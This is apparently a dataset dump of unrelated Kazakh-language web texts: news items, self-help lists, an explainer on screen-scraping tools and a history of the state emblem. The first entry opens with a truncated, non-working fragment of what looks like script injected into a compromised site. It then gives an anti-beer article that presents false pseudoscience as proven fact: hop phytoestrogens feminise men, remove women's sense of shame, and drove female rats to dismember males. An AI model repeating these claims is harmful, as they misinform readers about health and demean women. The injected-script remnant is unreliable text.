text
stringlengths 438
418k
|
|---|
dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tories/pivo.jpg» width=»223″ height=»221″ />Адамдардың көпшілігі арақ ішіп маскүнем болудан бұрын немесе наркотикалық темекіні шегіп, наркоман болудан бұрын сыра ішуді бастайды. Біздің сана-сезіміміз баста сыра , шампан ішу, хош иісті фильтрлі темекі тарту арқылы улана бастайды, ары қарай араққа бір-ақ адым. Маскүнемдікке салынып, анаша шеккен нашақорлар пайда болып, отбасына, мемлекетке зиян келтіретін адамдардың қатарын көбейтеді. Енді сыраның құрамына тоқталайық:
Сыра — хмель, солод (арпа), су және ашытқыдан жасалынады. Хмельдің құрамында заттардың бірі фитоэстероген деген зат бар, ол сондай нәзік, тәтті шырын зат.
Еркектерде тестостерон деген гармон бар, ол гармонның себебінен ерлерге сақал-мұрт өседі, даусы жуандайды тағы басқа еркектерге лайықты қасиеттер қалыптасады. Әйелдерде прогестерон деген гармон бар, сол гармонның себебінен әйелдердің бөкселері үлкейіп, иықтары қушиып, дауыстары нәзік болып, жалпы әйелдерге тән қасиет қалыптасады.
Хмельдің құрамындағы фитоэстероген деген затпен әйелдердегі прогестерон гармоны өте ұқсас. Ер адам сыраны көп мөлшерде ішкенде еркектердегі болатын тестостерон гармоны біртіндеп азаяды, орнына сыраның құрамындағы фитоэстероген заты толықтырылады. Қысқарта айтқанда еркектердің бойындағы әйелдердің кейбір сипаттары орын алады, яғни еркектік (жыныстық) қабілеті әлсірейді.
Ал, егер әйелдер сыраны ішсе, әйелдерде болатын прогестерон гармонына қосымша хмельдің құрамындағы фитоэстероген заты қосылып, нәтижесінде әйелдердің жыныстық шақуаты күшейеді. Сол себепті әйелдер өздеріне лайықты ұят сезімінен айрылып, өзін-өзі ұстай алмай арсыздыққа баруы әбден мүмкін.
Ресей ғалымдары сырадан табылатын хмельдің құрамындағы фитоэстероген затын еркек тышқандар мен ұрғашы тышқандарға сынақ ретінде пайдаланып,(эксперимент) қалай әсер ететінін егжей-тегжейлі анықтаған. Тышқандардың бір тобын алып ыдысқа су құяды да, екінші ыдысқа сыра құйып қояды. Алғашқы да тышқандардың барлығы суды ішті, сыраның тек қана дәмін көрді, кейіннен сыраны ішіп үйрене келе мүлдем су ішпейтін болды. Нәтижесінде еркек тышқандар сыраны ішіп жұп-жұмсақ болып ұйықтайтын болды, ал ұрғашы тышқандар тістері сақылдап, көздері қызарып мазасыз күйге түсті. Уақыт өте келе ұрғашы тышқандар еркек тышқандарды жұлып-жұлып бөлшектеп тастады. Ғалымдар бұл неге бұлай болды деп ұрғашы тышқандарды сойып тексергенде жыныстық шақуаты қатты қозып, құрсақтары ісіп кеткендігі анықталды.
Міне, ғалымдар осындай терең зерттеудің нәтижесінде сыра жасауға пайдаланылатын хмельдің құрамындағы фитоэстероген затының адамдарға зиян екенін дәлелдеді.
Бұл арақ пен сыра туралы дәйек пен дәлелдер Ресей Федерациясы, Сібір гуманитарлы-экологиялық университетінің профессоры В.Г.Жданов мырзаның бейнетаспасынан қазақшаға аударылып жазылды.{jcomments on} |
ҚР Еңбек және халықты әлеуметтік қорғау министрі Мәдина Әбілқасымова кедейлік деңгейін төмендетуге қатысты мәліметтерді жариялады, деп хабарлайды “Ұлт ақпарат”.
«Әлеуметтік кепілдіктерді арттыру бойынша мемлекет жүргізіп отырған әлеуметтік саясаттың нәтижесінде өмір сүру деңгейінің негізгі көрсеткіштері жақсарды. Қазақстанда кедейлік деңгейі 1996 жылғы 34,6 пайыздан 2018 жылғы 2-тоқсан қорытындысы бойынша 4,7 пайызға қысқарды.
Халықтың жан басына шаққандағы номиналды ақшалай табысы 2001 жылдан бастап 2017 жыл аралығында 10,8 есеге өсіп, 83 мың 53 теңгені құрады», – деді министр Парламент Мәжілісіндегі Үкімет сағатында.
Оның сөзіне қарағанда, халықтың табыстар бойынша теңсіздігі қысқарып келеді. Джини индексінің мәні 2001 жылдан 2017 жыл аралығында 0,287 дейін 1,3 есеге қысқарды.
«Кедейлік тереңдігі 2001 жылдан 2017 жылға дейін 37 есеге, яғни тиісінше 14,8 пайыздан 0,4 дейін, кедейлік өткірлігі – 65 есеге, 6,5 пайыздан 0,1 пайызға дейін азайды», – деді Мәдина Әбілқасымова. |
Экран қырғыш дегеніміз не? Бұл интернеттен деректерді жоятын және оны сіздің қажеттіліктеріңізге сәйкес пішімдейтін қызмет. Экран қырғыш пайдаланушы енгізулерін қайта пішімдей алады және сұраныстарды мұқият өңдейді. Сонымен қатар, ол көрінетін және көрінбейтін UI нысандарын нысанаға алу үшін қолданылады.
Сіздің салаңыз немесе компанияңыз үшін экранды қырқудың артықшылықтары:
Деректерді жинап, түрлендіруді қажет ететін кез-келген сала немесе компания экран қырғышты қолдана алады. Экран қырғышының ең бір ерекшелігі - бұл ұйымдастырылмаған және өрескел деректерді құрылымдалған, оқылатын және масштабталатын пішінге айналдырады. Сонымен қатар, құрал кәсіпкерлерге қысқа және ұзын кілт сөздерді бағыттауға мүмкіндік береді және бәсекелестер сайттарының сипаттамаларын немесе мазмұнын жоюға мүмкіндік береді. Мысалы, дәрігерлер денсаулыққа арналған мақалаларды сапалы түрде алу үшін экран қырғышты қолдана алады. Денсаулық сақтау саласына қатысты көптеген мәліметтер бар, дәрігерлер бұл деректерді олардың талаптарына сәйкес жинай алады.
Экран қырғыш дегеніміз не? Керекті экран қырғышты қайдан табуға болады? Мұнда біз сіздің жұмысыңызды жеңілдететін екі керемет экран немесе веб-скрепер туралы талқыладық.
1. UiPath:
UiPath экранды қырқуды бастады және интернеттегі ең жақсы және әйгілі құралдардың бірі болып табылады. Бұл қосымшаның ең көрнекті ерекшеліктерінің бірі - деректерді 16 миллисекундқа дейін және 100% дәлдікпен жоя алады. UiPath-қа дейін экранды кесу дәлдіктің төмен жылдамдығына ие болды және дисплейдегі нәзік, анық емес және баяу OCR синонимі болды. Бақытымызға орай, бұл құрал әртүрлі веб-беттерден ақпараттар алуға арналған машинаны оқытудың инновациялық технологиясын ұсынады. UiPath барлық операциялық жүйелермен және веб-шолғыштармен үйлесімді және деректерді мұқият қырып тастауға мүмкіндік береді. Сіз бұл құралды динамикалық веб-парақтарға мақсатты түрде қолдана аласыз және бір уақытта бірнеше экранды қырып-жою тапсырмаларын орындай аласыз. Бұл қызмет белгілі бір беттің дәл мәтіндік мәндерін алуға және оны сіздің қажеттіліктеріңізге сәйкес қиып алуға мүмкіндік береді. Сіз тек қиып алғыңыз келетін UiPath веб-мазмұнын бөліп көрсетуіңіз керек және UiPath-қа өз міндетін орындауға мүмкіндік беріңіз.
2. Мозенда:
UiPath сияқты, Mozenda интерактивті және таңғажайып экран қырғыш болып табылады, ол жүздеген веб-агенттерді құруда қолданылады және деректерді ыңғайлы өңдей алады. Mozenda - бұл кәсіпқой емес және кәсіпқой емес адамдар үшін маңызды таңдау, және әр түрлі тұтынушылар уақытылы және дәл жеткізілетін маңызды деректер енгізу үшін осы қызметке сүйенеді. Сіз деректер зерттеушісі болсаңыз да, студент болсаңыз да, Mozenda сіз үшін дұрыс нұсқа болып табылады. Осы интерактивті құралдың көмегімен сіз көптеген деректер қоймаларын оңай құра аласыз және бір уақытта бірнеше веб-парақтарға мақсат қоя аласыз. Қиылған деректерді Google Drive, Box.net немесе Dropbox-қа сақтауға болады. Бұл экранды қыру құралы автоматты түрде ең жақсы және сәйкес әдісті таңдайды және сіздің міндеттеріңізге сәйкес орындалады. Mozenda сізге UI нысандарына көрінетін мәтінді қырып тастауға және веб-құжаттарды оқуға және масштабтауға болатын форматқа айналдыруға мүмкіндік береді. |
Елбасының төрағалығымен өткен Үкіметтің кеңейтілген отырысында еліміздің ауыл шаруашылығы саласын жаңғырту жөнінде Үкіметке, салалық министрлікке, аймақ басшыларына нақты тапсырмалар жүктелді. Елдің азық-түлік қауіпсіздігін қамтамасыз ету Мемлекет басшысының жіті назарында.
Осы орайда Елбасының жастарды ауыл шаруашылығына үлес қосуға шақырғанын ерекше атап өткен жөн. Жастар форумында жас фермерлермен кездесу кезінде де бұл мәселе кеңінен талқыланды.
Атакәсіпті күнкөріс көзі ғана емес, табысты бизнеске айналдырсам деп жүрген жастардың бірі – Ернұр Айдаркин, небәрі 28 жаста. Ол серіктесі екеуі қазір мал шаруашылығын кешенді дамытуға кіріскен. Мұнда 15 млн АҚШ долларын жұмсаған олар алдымен саланы механикаландырып, адамға да, малдарға да ыңғайлы жағдай жасамақ.
Ернұр Айдаркин, жас инвестор:
- Бізде бірнеше жаңа технология енгізіліп жатыр. Қазір жаңа мал бордақылау алаңын құрып жатырмыз. Ол – америкалық жобалар. Онда жердің астының жылуымен су жылып тұрады. Электр қуаты керегі жоқ.
Жас мамандар алдағы жылдары малдың жемін де күшейтуді қолға алмақ. «Ол үшін мал азығының тұқымынан бастау керек», – дейді. Сонан соң сапалы құрама жем алуға мүмкіндік беретін зауыт та салу жоспарда бар екен. Қазірдің өзінде мұнда малға жем америкалық диетологтардың нұсқауымен беріледі.
Алмаз Тәтішев, инвестордың серіктесі:
- Келешекте жануарлардың денсаулық орталығы пайда болады. Біз еліміздің әр аймағынан осындай 5 орталық салмақшымыз. Ол жерде шаруаларға ветеринарлық кеңес беріліп, дәрі-дәрмектер мен дәрумендер сатылады.
Ал мұның барлығы алдағы жылдары фермадағы мал басын 100 мыңға жеткізіп, елді сапалы етпен қамтамасыз ету үшін жасалып отыр. Себебі шаруашылықтың иелігінде ет комбинаты да бар. Ал жалпы аймақ жыл сайын 60 мың тонна ет өндіреді. Жас инвесторлардың жобалары жүзеге асып жатса, бұл көрсеткіш еселеп артары сөзсіз. |
Сәкен Майғазиев футболдан Қазақстан мен Польшаның арасында өткен ойында біздің құраманың белді ойыншысы Бауыржан Исламханның басынан тепкен поляк футболшысының әрекетін “шошқаның ісі” деп бағалапты.
“Бауыржан бауырымыздың алтын басын сасық аяғымен көтерген Гликтің шошқалығына шыдамай, шіләпісін қайырып жіберер ем. Сабырымды сабама сала алмай, қанымның басыма шапқанын-ай… Кім көрді?” деп жазған екен өзінің Инстаграмдағы парақшасында әнші.
Өз кезегінде желі қолданушылары: “Айтпаңыз Сәкен аға. Көрген кезде қанымыз қайнады. Сол жерде болғанда басынан ұратын едік. Бірақ Бауыржан бауырымыз біз үшін алтын. Ал ана бір хайуанға айтар сөзіміз жоқ. Құдай мұндай хайуандықтан сақтасын” деген пікір білдіріпті.
Айта кетелік екі құраманың арасындағы ойын 2:2 есебімен тең аяқталды.
View this post on Instagram
Осы ғой мені өртеп бара жатқан. Түнімен дөңбекшіп ұйықтай алмадым. Бірақ, ойланып-ойланып, кешіре салатын болып шештім. АЛЛА кешірімді ғой. 😊🇰🇿🏇⚽️🖐☀️ #қазақстанпольша
A post shared by Saken Maigaziyev (@saken_maigaziyev) on Sep 5, 2016 at 12:20am PDT
View this post on Instagram
@islamkhan_9 Бауыржан бауырымыздың алтын басын сасық аяғымен көтерген Гликтің шошқалығына шыдамай, шіләпісін қайырып жіберер ем. Сабырымды сабама сала алмай, қанымның басыма шапқанын-ай… Кім көрді? #қазақстанпольша |
Жұмыс беруші босанғаннан кейінгі демалыста жүрген әйелге оның келісімімен жұмыс істеуге рұқсат бере ала ма? Бұл сауал электронды үкімет сайтында көтерілді, деп хабарлайды Zakon.kz.
Еңбек және халықты әлеуметтік қорғау министрлігі жүктілігі және босануы бойынша демалыс босанғанға дейін 70 күнтізбелік күнге және босанғаннан кейін 56 күнтізбелік күнге (қалыпты босануға) беріледі деп жауап берді.
Әйел жүкті кезінде еңбекке уақытша жарамсыздық парағын алуға өтініш берген кезде демалыс оның босанғанға дейін нақты пайдаланған күндерінің санына және жұмыс берушімен жұмыс істеу ұзақтығына қарамастан жалпы есептеледі және толық көлемде беріледі. Демалыстың бұл түрінен кері шақыру қарастырылмаған, делінген жауапта.
Бұл ретте Еңбек министрлігі Еңбек кодексі қызметкердің босанғаннан кейінгі демалыстан мерзімінен бұрын шығу құқығын шектемейтінін атап өтті.
Осыған байланысты олар егер әйел босанғаннан кейінгі демалысты тоқтатып, мерзімінен бұрын жұмысқа барғысы келсе, жұмыс беруші оған жұмыс істеуге рұқсат беруге құқылы екенін қосты. Ол үшін ол тиісті өтініш жазуы керек. |
Ресейдің Магадан қаласының ең қиқы-жиқы көшелерінде қала мэрінің бейнесімен қоса "Дұрыс жерде жүрген жоқсың, Антон!" деген жазулар пайда болды. Бұл сөзді Магадан мэрі Юрий Гришан қаладағы жөндеу жұмыстарын сынаған белсенді блогшылардың бірі Антон Афанасьевке Twitter арқылы айтқан.
Мамырда блогшы Антон Афанасьев Twitter-де қала әкімшілігінің былтыр Берзин көшесін абаттандыруға қыруар ақша бөлгенін, бірақ оның нәтижесі байқалмайтынын жазған. Бұған мэр Юрий Гришан: "Дұрыс жерде жүрген жоқсың, Антон!" деп жауап берген.
Twitter-ді белсенді түрде қолданатын Магадан мэрі қаладағы ең әйгілі блогшылардың қатарына кіреді. Ол әлеуметтік желілерде қаланың хал-ахуалы туралы пікірталастарға қатысып, тұрғындардың сауалдарына жауап береді, жалпы қаладағы жағдайды Интернет арқылы бақылайды. Кей магадандықтар мэрдың бұл әдетін жақтырмай, оның жұмысын сынағанда «Мэр, Twitter-ден шық!» деп ұрандап жатады.
Қала мэрінің блогшымен арадағы кезекті виртуалды айтысы ерекше формада жалғасты. Жергілікті суретші Григорий Сычев Магадандағы жөндеу қажет деген нысандарға мэрдің "Дұрыс жерде жүрген жоқсың, Антон" деген "қанатты" сөзін граффити түрінде сала бастады. Қазір мэрдің осы бір сөзін қала орталығынан да, оның шет аймақтарынан да оқуға болады.
Сычевтің айтуынша, Юрий Гришанның сол бір сөзінен соң оған "Магадан мэрінің өзі дұрыс жерде жүрген жоқ шығар" деген ой келіпті. Сондықтан, ол қаланың ең көріксіз деген жерлеріне мэрдің Twitter-дегі сөзін жаза бастапты.
- Мүмкін ол осы арқылы қаладағы шынайы проблемаларды көре бастайтын шығар, себебі менің байқауымша, ол жағдайды Twitter арқылы бақылап отыратын сияқты, - дейді Григорий Сычев.
Ал блогшы Антон Афанасьев қала басшысымен арадағы пікірталастың бұлайша жалғасын тапқанын қолдайды.
– Менің бұған қатысты бір ғана ұстанымым бар. Бұл жапсырмалар мен трафареттер Магадан мэриясына қандай да бір әсерін тигізіп, олар қаланы әрлендіруді қолға ала бастайтын шығар. Турасын айтсақ, Магаданда бұл жағынан атқаратын шаруа көп. Бірақ мэр Юрий Гришанға оң не теріс баға беруге әлі дайын емеспін, себебі ол қала басшылығына келгелі көп уақыт өте қойған жоқ, - деді Антон Афанасьев.
Юрий Гришан – Магадан қаласының тумасы, қуғын-сүргінге ұшырағандардың ұрпағы. 2015 жылғы 13 қарашада Магадан қалалық думасы депутаттарының шешімімен қала мэрі болып сайланған. Бұған дейін 2004 жылдан бастап ол қала басшысының орынбасары қызметін атқарған. Мэр қызметіне кірісе салысымен ол Магаданның бюджет алдындағы қарыздарын қайтарып, 2020 жылға дейін қала халқының санын 100 мыңнан 120 мың адамға көбейтемін деп уәде берген.
Көшелерде өзінің айтқан сөзі басылған трафареттердің пайда болғанын Twitter-ден білген Юрий Гришан суретшінің бұл бастамасын бірден қолдап: "Керемет! Мен кезінде бұл үшін ақша төлегенмін. Енді тегін жасап жатыр. Рақмет, жігіттер! Рақмет, Антон!" - деп жазды.
Бұдан соң суретші мэрдің дәл сол суреті мен айтқан сөзі жазылған жапсырма қағаз шығара бастады. Оларды жапсырып, қайтадан алу қиын емес. Әлеуметтік желілерде қала тұрғындары суретшіге осындай жапсырмаларды көптеп шығарып сат деп кеңес беріп жатыр. Мұндай жапсырмаларды сатып алғысы келетіндер аз емес екен.
Қала мэрі жапсырмалардың пайда болғанына қатысты Twitter-де де, журналистерге арнап өткізген брифингте де бірден пікір білдірді.
– Әлеуметтік желілердегі "Дұрыс жерде жүрген жоқсың, Антон!" деген тақырыптағы сынға байланысты Антон жүріп өтуі тиіс жерлердің маршрутын бере аламын. Антон-санитардың образы осындай ғой. Антон біз қалпына келтірген жерлермен жүріп өтсін. Келіп жатқан барлық ескертулер бойынша (соның ішінде Twitter арқылы келетіндері де бар) жұмыс жасалып жатыр. Мәселен, бүгін Набережная, 13 мекенжайы туралы айтылды. Антоннан, халықтық бақылаудан, түрлі жолдармен хабарласқан тұрғындардан түсетін барлық сұрақтарға көңіл бөлеміз. Әрбір магадандықтың үнін естиміз, - деді мэр Юрий Гришан.
Ал суретші Григорий Сычевті жақында қаланың әкімшілік-техникалық инспекциясына шақыртыпты.
– Мені алдымен шақырып алып, қаланы абаттандыру ережелерін бұзғанымды ескертті (бұл үшін айыппұл төлеткізуі мүмкін – Азаттық). Ал мен бетон блоктар мен қараусыз қалған гараждардың қалаға қандай қатысы бар екенін сұрадым. Олар бұл нысандардың қала әкімшілігіне қарамайтынын мойындады. Мекеме қызметкерлері күн сайын жұмыс істеп, есеп үшін әр нәрсені суретке түсіріп жүретіндерін айтты. Соңында тұрғын үйлерге сурет салмауымды өтінді. Жапсырмаға келсек, оларды сұрағандарға тегін таратып жүрмін. Ал олар қалаған жерлеріне жапсырады. Айтпақшы, дәл осы сурет басылған жейдені Магадан мэрінің өзіне сыйлауға уәде еттім. Ол Twitter-де XL өлшемді киім киетінін жазды. Киіп алса, қатып кетер еді. Әзілсіз айтатын болсақ, қаланы абаттандыруда ешқандай ілгерілеуді байқап тұрған жоқпын. Антон Афанасьев Берзин көшесі туралы айтты, ал бұл – мен тұрып жатқан аула, мұнда 2003 жылдан бері ешқандай жөндеу жүрген жоқ. Есесіне, олар "бізде бәрі керемет" деп есеп береді. Меніңше, бұл – дұрыс емес. Олардың қай ауланы жөндеп жатқанын білмеймін, бәлкім мен дұрыс жерде жүрген жоқ шығармын, - дейді Григорий Сычев.
Ал Twitter-де #нетамходитеАнтон деген арнайы хэштег те пайда болды. Магадан тұрғындары осы хэштегпен қаланың нашар суреттерін жариялай бастады. Мысалы, төмендегідей.
Андрей Гришиннің материалы орыс тілінен аударылды.
Ұқсас
Ресей билігі наразы жастардан тіксініп отыр
Депутат коррупциямен күрес ұйымдарына наразы
Батыс елдері Ресейдің бейбіт шеруге шыққандарды ұстауын айыптады
Ресейде 1917 жыл қайталануы мүмкін бе?
Жаңалықтар
BBC мен "Медиазона" Украинадағы соғыста он мың ресейлік жауынгердің қазасын растады
Бельгияда Еуропарламент жетекшісінің орынбасары жемқорлық күдігімен ұсталды
Украинадағы соғысқа қарсылық білдіріп, қанды оқиғаларды тергеуді талап етпек болған белсендінің өтініші орындалмады |
Тоғжанов Қазақстандағы мерзімді әскери қызметті алып тастау туралы сұраққа жауап берді: 07 маусым 2022, 18:40 - жаңалықтар Alashainasy.kz
Басты Қоғам Мәселе
Тоғжанов Қазақстандағы мерзімді әскери қызметті алып тастау туралы сұраққа жауап берді
07 маусым 2022, 18:40
Премьер-министрдің орынбасары Ералы Тоғжанов Қазақстан мерзімді әскери қызметтен бас тарту дұрыс емес деп санайды, - деп хабарлайды Alashainasy.kz тілшісі Tengrinews.kz-ке сілтеме жасап.
Үкімет отырысынан кейін журналистер премьер-министрдің орынбасарына тек келісімшарт бойынша қызметті қалдырып, мерзімді әскери қызметке шақырудан бас тарту мүмкіндігі туралы сұрады.
"Менің ойымша, мерзімді әскери қызметтен бас тарту дұрыс емес. Жастар әскери борышын өтеуі керек. Тағы бір мәселе, барлық мүдделі мемлекеттік орган, бірінші кезекте Қорғаныс министрлігі осы жігіттердің бәрінің қауіпсіздігін қамтамасыз етуге міндетті", - деп жауап берді Тоғжанов.
Премьер-министрдің орынбасары Отар қаласындағы 25171 әскери бөлімінде әскери борышын өтегенін атап өтті.
"Әртүрлі жағдай болды, сарбаздар қазасы да болды. Ол кезде жалпыға бірдей міндеттеме (міндетті әскери қызмет - еск.) болды, бүгінде ондай міндеттеме жоқ. Қазір барлық қамту небәрі 35 мыңды құрайды, жыл сайын біз қызметке 35 мың баланы жібереміз", - деп жауап берді Тоғжанов. |
Соңғы жылдары Астанада тұтынушылық құқын қорғай білетін жандар қатары артып келеді. Мәселен, 2000 жылмен салыстырғанда бұл көрсеткіш 40 пайызға жоғарылапты.
Кеше «Әділет» тұтынушылардың құқығын қорғау қоғамдық бірлестігінің ұйымдастыруымен өткен конференцияда бірлестік төрағасы Қабыкен Закарьянов осындай мәлімет таратты.
«Биыл бізге 4700-ге жуық арыз келіп түсті. Бұл былтырғымен салыстырғанда он пайызға артық. Біз осы шағымдардың 95 пайызын қанағаттандырдық. Арыз-шағымның 90 пайызы сотқа жеткізілмей тұрып шешімін тапты. Өйткені, біздің бас-ты мақсатымыз – тұтынушылардың құқығын қорғау», дейді Қабыкен Қажыбайұлы.
15 наурыз – әлемдік тұтынушылар күніне орай өткізілген жиында қалалық сауда орындарының өкілдері мен осы сала бойынша білім алып жүрген колледж студенттері өзара пікір алмасты. Сондай-ақ, «Шапағат», «Бахус», «Апрель», «Ажар» сауда орындары мен «Мадина», «Дастан» сынды бірнеше дүкен иелері халыққа адал қызмет еткені үшін мақтау қағаздарымен марапатталды.
«Әділет» қоғамдық бірлестігі енді ұялы байланыс агенттіктерінің жұмыстарын қадағалап, тұтынушылардың құқығын қорғауды мақсат етіп отыр. |
Мен өзім осылардың бәрін істеймін. Бірақ кейбіреуінің әлі дағдыға айналмағаны қынжылтады. Яғни мен оларды ылғи емес, анда-санда жасап тұрады екенмін. Бірақ дағдыға айналдыру үшін барымды саламын. Сонымен осы дағдыларды тізіп шығайын:
1. Таңертеңгілік жаттығу жасаңыз.
2. Шет тілін оқи бастаңыз. Нәтиже болу үшін күнде оқыңыз, ең болмаса күнде жарты сағат бөліңіз.
3. Компьютер ойындарынан бас тартыңыз.
4. Дұрыс тамақтана бастаңыз. Фастсуд пен пайдасыз тағамдарды жемеңіз, мысалы, дөнер, көшеде сататын самса, газды сусындарды ішпеңіз (кокакола, спрайт т.с.с.)
5. Күнде бір уақытта ұйықтап, бір уақытта тұруға даңдыланыңыз.
6. Тамақты ылғи бір уақытта ішіңіз. Ең болмаса таңғы ас пен түскі асты.
7. Ұйқыға 8 сағат бөліңіз. Бұл өзіңізді жақсы сезінуге көмектеседі.
8. Ақшаңызды үнемдеңіз. Әсіресе саяхатқа деп ақша жинай бастаңыз. Басқа елдерге саяхат жасау көзқарасыңызды өзгертіп, ой-өрісіңізді кеңейтеді.
9. Тек жақсылық туралы ойлаңыз. Жақсы ойларыңыз жүзеге асады, көп күліп жүріңіз.
10. Күнделік жүргізіңіз, оған жетістіктеріңізді (тіпті кішкентай болса да) жазып жүріңіз.
11. Өмірді жақсартуға көмектесетін «дұрыс» кітаптарды оқыңыз. Уақытыңызды нашар детектив, мелодрама т.с.с. нәрселер оқуға құртпаңыз.
12. Интернетке (соның ішінде әлеуметтік желілерге) 1 сағаттан артық уақытыңызды бөлмеңіз.
13. Таза су ішіңіз. Ұйқыдан тұрғанда, тамақтың алдында су ішуді ұмытпаңыз. Күніне кем дегенде 2 л cу ішу керек. Бұл ағзаңыздың жақсы жұмыс істеуіне көмегін тигізеді.
14. Мақсаттарыңызға сай келетін суреттер тауып көрінетін жерге іліп қойыңыз. Күнде көзбен көріп жүрсеңіз мақсатыңызды ұмытпайсыз.
15. Істеймін деген, бірақ жүзеге асыра алмай жүрген жұмыстарыңыздың тізімін жасаңыз. Бір-бірлеп істеп тастаңыз, жеңілдеп қаласыз.
16. Жаман, дөрекі және тұрпайы сөздерді қолданбауға тырысыңыз. Қалай сөйлейтініңізге мән беріп жүріңіз.
17. Күн сайын бір кішкене болса да жақсы іс жасаңыз, қайтарымын күтпеңіз. Бұл жақсы іс, мысалы, уикипедияға мақала жазу, жазылған мақаланы толықтыру да болуы мүмкін. Немесе көшеде жатқан қоқысты жинай салу, жолдан баланы немесе қарт кісіні өткізу т.с.с.
18. Мүмкіндігінше күнде жеміс-жидектер, көкөністер жеуге тырысыңыз. Жаман әдеттерден арылыңыз (шектен тыс көп тамақ жеу, темекі шегу, арақ-шарап ішу т.с.с.)
19. Түзу жүріңіз, сымбатыңызға мән беріңіз.
20. Адамдарға жағымды, мақтау сөздерді көп айтыңыз, мысалы, бүгін өте әдемісіз; сізге бұл киім жақсы жарасып тұр; мұны істегенің қандай жақсы болған т.с.с.
Осы тізімді сақтап қойыңыздар, керегінше толықтырып отырсаңыздар да болады. Уақыт өткен сайын осы тізімге қайта оралып, өзіңізді тексеріп тұрыңыз. Бұл дағдылар өміріңізді өзгертетіні сөзсіз. |
Күн сайын таңертең өзіңе жұмыс жаса. Маңыздылығы туралы көп сөйлесеміздене жаттығулары бізді ұйқышылдықтан оятады,ондай қалда көптеген адамдар тұрады. Бірақ одан да маңыздысы, бізді күн сайын таңертеңгілік әрекетке итермелейтін рухани және психикалық жаттығулар қажет. Өзіңізге жігерлендіретін сөздер айтуды ұмытпаңыз. Өзімен күнделікті жігерлендіретін әңгіме ақылға қонымсыз, ашуланшақ және балғын болып көрінеді ме? Жоқ, керісінше, бұл психологияның мәні. Күн сайын өзіңізбен сөйлесу арқылы сіз өз ойыңызды басқаруды үйренесіз. Батылдық пен бақыт, күш пен бейбітшілік туралы ойлаңыз.
1. Бүгін мен бақытты боламын. Бақыт біздің ішімізде, бұл сыртқы жағдайлардың нәтижесі емес. Сондықтан адам бақытты болуға бел буған сайын бақытты болады.
2. Бүгін мені қоршаған өмірге бейімдеймін және бәрін өз қалауыма бейімдеуге тырыспаймын. Мен отбасымды, оқуларымды, өмірімнің мән-жайын сол күйінде қабылдаймын және оларға бейімделуге тырысамын.
3. Дәл бүгін мен денеме қамқорлық жасаймын. Мен жаттығулар жасаймын, денемді ойлаймын, зиянды әсерлер мен ойлардан аулақ боламын, сондықтан менің денем барлық талаптар мен параметрлерді дайын етеді.
4. Мен бүгін ақыл-ойымның дамуына назар аударамын. Мен пайдалы нәрсені үйренемін. Мен ақылмен жалқау адам болмаймын. Мен күш, рефлексия, шоғырлануды қажет ететін нәрселерді қызығушылықпен оқимын.
5. Мен бүгін өзіме моральдық көмек көрсетемін. Ол үшін мен белгілі бір адамға пайдалы, пайдалы бір нәрсені істеймін және өзім жасағым келмейтін екі нәрсені істеймін.
6. Мен бүгін бәріне достық қарым-қатынаста боламын. Мен ең жақсы жағынан көрінуге тырысамын, мақтауға мейірімді және жомарт боламын, адамдардан кінә таппаймын немесе оларды түзетуге тырыспаймын.
7. Мен дәл бүгін ғана өмір сүремін, бүкіл өмірімнің мәселесін бірден шешуге тырыспаймын. Мен кез-келген, тіпті күнделікті жұмысты оңай жасай аламын. |
Елтаңба – мемлекеттің басты рәміздерінің бірі. Елтаңба («герб») термині немістің «erbe» (мұра) деген сөзінен шыққан. Мемлекеттің мәдени және тарихи дәстүрін бейнелейтін символдық мәні бар үйлесімді пішіндер мен заттардың мирастық ерекшелік белгісін білдіреді.
Қазіргі Қазақстан аумағын мекендеген қола дәуірінің көшпенділері кейін графикалық ұғымы «таңба» деп аталған ерекше символ-тотем арқылы өздерін танытқанына тарих куәлік етіп отыр. Алғаш рет бұл термин Түрік қағанаты тұсында қолданыла бастаған.
Егеменді Қазақстанның Елтаңбасы 1992 жылы ресми түрде қабылданды. Оның авторлары – белгілі сәулетшілер Жандарбек Мәлібеков пен Шот-Аман Уәлиханов.
Қазақстан Республикасының Мемлекеттік елтаңбасы дөңгелек нысанды. Бұл – Ұлы дала көшпенділері айрықша қастер тұтқан өмір мен мәңгіліктің символы.
Мемлекеттік елтаңбаның орталық геральдикалық элементі – көгілдір түс аясындағы шаңырақ (киіз үйдің жоғарғы күмбез тәрізді бөлігі) бейнесі. Шаңырақты айнала күн сәулесі секілді тараған уықтар шаншылған. Шаңырақтың оң жағы мен сол жағына аңыздардағы қанатты пырақтар бейнесі орналастырылған. Жоғарғы бөлігінде – көлемді бес бұрышты жұлдыз, ал төменгі бөлігінде «Qazaqstan» деген жазу бар. Жұлдыздың, шаңырақтың, уықтардың, аңыздардағы қанатты пырақтардың бейнесі, сондай-ақ «Qazaqstan» деген жазу – алтын түстес.
Көк күмбезін еске салатын және Еуразия көшпенділерінің дәстүрлі мәдениетінде тіршіліктің негізгі бастауының бірі боп саналатын шаңырақ – киіз үйдің басты жүйе құраушы бөлігі. Республиканың Мемлекеттік елтаңбасындағы шаңырақ бейнесі – елімізді мекендейтін барлық халықтардың ортақ қонысының, біртұтас Отанының символы. Шаңырақтың мықтылығы мен беріктігі оның барлық уықтарының сенімділігіне байланыстылығы секілді, Қазақстанда бақытқа жету әрбір азаматтың аман-есендігіне байланысты.
Аңыздағы қанатты тұлпарлар Мемлекеттік елтаңбадағы өзекті геральдикалық элемент болып саналады. Бағзы замандағы тұлпар бейнесі батылдықты, сенімділікті және ерік күшін танытады. Пырақтың қанаты Қазақстанның көпұлтты халқының қуатты және гүлденген мемлекет құру туралы ғасырлар бойғы тілегін аңғартады. Олар – шынайы ой-арман мен ұдайы жетілуге және жасампаз дамуға ұмтылыстың көрінісі. Сонымен қатар, арғымақтың алтын қанаттары алтын масақты еске салады, қазақстандықтардың еңбексүйгіштігін және еліміздің материалдық игілігін танытады.
Өткен ғасырларда мүйіз көшпенділердің табынушылық ғұрыптарында, сонымен қатар, жауынгерлік тудың ұшына орнату үшін белсенді пайдаланылған. Көктің сыйын, жердің игілігін, жорықтың жеңісін әртүрлі жануарлардың мүйізі арқылы бейнелеу көптеген халықтардың символдық композицияларында елеулі орын алды. Сондықтан молшылық әкелетін мүйізі бар қанатты тұлпар семантикалық және тарихи түп-тамыры терең маңызды типологиялық образ болып саналады.
